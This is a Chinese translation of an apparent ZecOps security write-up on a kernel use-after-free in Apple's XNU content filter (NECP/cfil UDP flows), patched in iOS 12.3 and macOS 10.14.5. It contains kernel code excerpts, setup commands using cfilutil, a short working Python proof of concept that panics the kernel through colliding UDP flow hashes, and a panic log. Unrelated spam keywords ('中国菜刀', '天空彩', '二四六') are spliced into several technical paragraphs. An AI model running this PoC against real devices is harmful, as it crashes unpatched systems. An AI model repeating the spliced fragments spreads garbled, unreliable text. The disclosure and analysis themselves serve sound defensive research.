iOSmacOS内容过滤器内核UAF漏洞分析和概念证明

    xiaoxiao2024-10-17  4

    概述

    2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。

    基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一点是否属实。作为预防措施,ZecOps建议用户将iOS或macOS设备更新为最新的软件版本。

    一旦初始代码执行完成,这个强大的漏洞可以允许攻击者进行完整的设备接管。此外,可以从受监控设备上的沙箱中进程和应用程序实现此漏洞利用。

    漏洞详细分析

    网络扩展控制策略(NECP)已经在/bsd/net/necp.c中详细描述。

    该模块的目标是允许客户端通过内核控制套接字链接,以创建高级别策略会话,这些会话被提取到控制、标记应用程序、套接字和IP层流量的低级别内核策略中。

    从macOS 10.14和iOS 12版本开始,UDP支持包含添加到内容过滤器的垃圾收集(GC)线程。中国菜刀

    /*  * NECP FILTER CONTROL UNIT  *  * A user space filter agent uses the Network Extension Control Policy (NECP)  * database to specify which TCP/IP sockets need to be filtered. The NECP  * criteria may be based on a variety of properties like user ID or proc UUID.  *  * The NECP "filter control unit" is used by the socket content filter subsystem  * to deliver the relevant TCP/IP content information to the appropriate  * user space filter agent via its kernel control socket instance.  * This works as follows:  *  * 1) The user space filter agent specifies an NECP filter control unit when  *    in adds its filtering rules to the NECP database. */

    函数cfil_sock_udp_get_flow首先查找本地地址/端口和远程地址/端口(laddr、lport、faddr、fport)组合的现有条目(下方代码示例中的Comment 1)。如果不存在已有条目,则会生成一个新的条目,并将其插入到cfentry_link的头部。

    cfdb_only_entry指针将始终指向最新的条目(下方代码中的Comment 2)。

    随后,cfil_info_alloc将分配一个新的cfil_info对象,该对象中包含唯一标识符cfil_sock_id,然后将cfil_info插入名为cfi_link的链表的尾部(下方代码中的Comment 3)。

    struct cfil_hash_entry * cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote) {     ...     // See if flow already exists.     hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry     if (hash_entry != NULL) {         return (hash_entry);     }       hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2     if (hash_entry == NULL) {         OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);         CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");         return (NULL);     }       if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3         hash_entry->cfentry_cfil == NULL) {         cfil_db_delete_entry(so->so_cfil_db, hash_entry);         CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");         OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);         return (NULL);     }     ... }

    GC线程每隔10秒唤醒一次,它会将过期套接字的sock_id添加到名为expired_array的列表中(下面代码中的Comment [a]),然后在另一个循环(Comment)中释放expired_array中的cfil_info。天空彩

    cfil_info_udp_expire(void *v, wait_result_t w) { ...       TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {         if (expired_count >= UDP_FLOW_GC_MAX_COUNT)             break;           if (IS_UDP(cfil_info->cfi_so)) {             if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||                 cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||                 cfil_info_buffer_threshold_exceeded(cfil_info)) {                 expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]                 expired_count++;             }         }     }     cfil_rw_unlock_shared(&cfil_lck_rw);       if (expired_count == 0)         goto go_sleep;       for (uint32_t i = 0; i < expired_count; i++) {           // Search for socket (UDP only and lock so)         so = cfil_socket_from_sock_id(expired_array[i], true);//[b]         if (so == NULL) {             continue;         }           cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]); ...         cfil_db_delete_entry(db, hash_entry);         cfil_info_free(cfil_info);// ... }

    cfdb_only_entry应该在函数cfil_db_delete_entry中设置为NULL。然而,db->cfdb_only_entry = NULL;(第25行)永远不会执行。

    我们仔细查看cfil_db_get_cfil_info函数,当只剩下一个条目(快捷路径)时,将执行不同的路径,以获得更好的性能。

    struct cfil_info * cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id) {     struct cfil_hash_entry *hash_entry = NULL;       ...       // This is an optimization for connected UDP socket which only has one flow.     // No need to do the hash lookup.     if (db->cfdb_count == 1) { //fast path         if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&             db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {             return (db->cfdb_only_entry->cfentry_cfil);         }     }       hash_entry = cfil_db_lookup_entry_with_sockid(db, id);     return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL); }

    如果两个不同的cfil_info对象具有相同的cfil_sock_id,则会发送以下流:

    在第一个循环中,cfil_db_get_cfil_info返回entry2,这是cfentry_link的第一个元素,将在以后的执行过程中释放。

    在第二个循环中,cfil_db_get_cfil_info进入快速路径,并返回由cfdb_only_entry指向的对象(即已释放的entry2)。因此,内核将在后续执行过程中,因Use-After-Free漏洞而发生崩溃(Panic)。

    +--------------------+       +-----------------+ |   entry 2         <--------+ cfdb_only_entry | +--------------------+       +-----------------+ |   entry 1          | +--------------------+

    漏洞复现过程

    为了生成cfil_sock_id碰撞,我们首先需要知道如何构建cfil_sock_id。

    cfi_sock_id由so_gencnt、faddr、laddr、fport和lport计算得到。二四六

    so_gencnt是套接字的生成计数,针对单个套接字,该值保持不变。较高的32位来自so_gencnt,而较低的32位是基于laddr、faddr、lport和fport的运算结果。

    #define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport)) hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr; hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr; entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,                                 entry->cfentry_lport,entry->cfentry_fport); // This is the UDP case, cfil_info is tracked in per-socket hash cfil_info->cfi_so = so; hash_entry->cfentry_cfil = cfil_info; cfil_info->cfi_hash_entry = hash_entry; cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff)); CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",          inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

    发送两个相同的UDP请求,将只会生成一个cfil_info对象,并且laddr、lport、faddr、fport中至少有一个值应该是不同的,因此在cfil_db_lookup_entry之后,函数cfil_sock_udp_get_flow不会立刻返回。

    struct cfil_hash_entry * cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote) {     ...         if (nextentry->cfentry_lport == matchentry.cfentry_lport &&             nextentry->cfentry_fport == matchentry.cfentry_fport &&             nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&             nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {             return nextentry;         }     ... }

    总而言之,为了重现上述的崩溃(Panic),我们需要发送满足以下两个条件的UDP请求:

    1. 具有相同的so_gencnt,也就是相同的套接字对象;

    2. 具有相同的flowhash;

    3. 具有不同的地址或端口。

    通过构造特定的faddr、fport值,可以满足上述要求。

    PoC部署环境

    除非设备已经启用了MDM,否则在macOS上运行PoC可能不会生效。要触发此漏洞,设备应该满足以下条件:

    1. 至少附加了一个内容过滤器(Content Filter);

    2. 影响UDP请求的NECP策略被添加到NECP数据库;

    3. 受影响的NECP策略和附加的内容过滤器具有相同的filter_control_unit。

    cfil_sock_udp_handle_data(bool outgoing, struct socket *so,                           struct sockaddr *local, struct sockaddr *remote,                           struct mbuf *data, struct mbuf *control, uint32_t flags) { ...       if (cfil_active_count == 0) {//[a]         CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");         OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain);         return (error);     }          filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]     if (filter_control_unit == 0) {         CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");         return (error);     } ...          hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);     if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {         CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");         return (EPIPE);     } ... }

    默认情况下,内容过滤器不会被集火,我们需要手动添加它。具体而言,我们需要运行Apple的network-cmds cfilutil。需要注意的是,cfilutil不是预先安装的工具,我们可能需要从源代码对其进行编译。

    由于[a]行的检查将通过,因此下面的命令将激活内容过滤器:

    sudo cfilutil -u [control_unit]

    Control_unit是一个整数值,应该与filter_control_unit中的NECP策略相同。

    sudo cfilutil -u 100

    概念证明(PoC)代码

    PoC代码非常简单,只需要几行Python代码即可轻松实现。在运行PoC代码后,设备将在几秒钟后发生崩溃(Panic)。PoC中的地址和端口组合是不同的,同时它们具有相同的flowhashin内容过滤器:

    # PoC - CVE-2019-XXXX by ZecOps Research Team © # © ZecOps.com - Find and Leverage Attacker’s Mistakes™ # Intended only for educational purposes # Considered as confidential under NDA until responsible disclosure # Not for sale, not for sharing, use at your own risk   import socket   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) msg = b'ZecOps' address = ('192.168.1.5', 8080) s.sendto(msg, address)   address = ('193.168.1.5', 7824) s.sendto(msg, address) s.close()

    在执行PoC后,macOS上生成了以下崩溃(Panic)信息:

    *** Panic Report *** panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers: CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0 RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000 RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000 R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000 R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88 RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010 Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0   Backtrace (CPU 0), Frame : Return Address 0xffffff800bd5d280 : 0xffffff800be8e46d 0xffffff800bd5d2d0 : 0xffffff800c025436 0xffffff800bd5d310 : 0xffffff800c014a62 0xffffff800bd5d380 : 0xffffff800be29ae0 0xffffff800bd5d3a0 : 0xffffff800be8db2b 0xffffff800bd5d4d0 : 0xffffff800be8d953 0xffffff800bd5d540 : 0xffffff800c014cae 0xffffff800bd5d6b0 : 0xffffff800be29ae0 0xffffff800bd5d6d0 : 0xffffff800c285638 0xffffff8067563fa0 : 0xffffff800be290ce   BSD process name corresponding to current thread: kernel_task

    修复补丁

    在安装macOS 10.14.5和iOS 12.3的补丁之后,db->cfdb_only_entry = NULL;(第18行)可以正确执行。

    安全建议

    ZecOps威胁取证团队建议用户应该将iOS设备更新到最新版本。这样一来,就可以有效防范此类漏洞利用,并使漏洞利用链无效。随之,在受影响的MDM设备上利用此漏洞的威胁参与者将失去持久性。在Apple iOS更新后,原本受影响的设备也将被淘汰。如果用户怀疑自己的设备受到此漏洞的攻击,可以与ZecOps联系。

    目前,我们已经与全球领先的合作伙伴、经销商、分销商和创新安全团队开展合作,如果想要进一步了解我们的工作,可以与我们取得联系。

    如果研究人员针对我们所做的漏洞研究、漏洞利用、数字取证和事件响应感兴趣,可以加入ZecOps Reverse Bounty计划。

    最新回复(0)